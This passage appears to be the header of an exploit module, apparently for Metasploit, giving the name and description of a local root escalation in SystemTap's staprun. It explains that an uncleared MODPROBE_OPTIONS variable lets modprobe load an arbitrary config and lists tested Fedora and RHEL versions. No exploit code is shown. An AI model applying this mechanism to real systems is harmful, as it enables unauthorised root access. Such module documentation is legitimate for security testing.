      'Name'           => 'SystemTap MODPROBE_OPTIONS Privilege Escalation',
      'Description'    => %q{
        This module attempts to gain root privileges by exploiting a
        vulnerability in the `staprun` executable included with SystemTap
        version 1.3.

        The `staprun` executable does not clear environment variables prior to
        executing `modprobe`, allowing an arbitrary configuration file to be
        specified in the `MODPROBE_OPTIONS` environment variable, resulting
        in arbitrary command execution with root privileges.

        This module has been tested successfully on:

        systemtap 1.2-1.fc13-i686 on Fedora 13 (i686); and
        systemtap 1.1-3.el5 on RHEL 5.5 (x64).
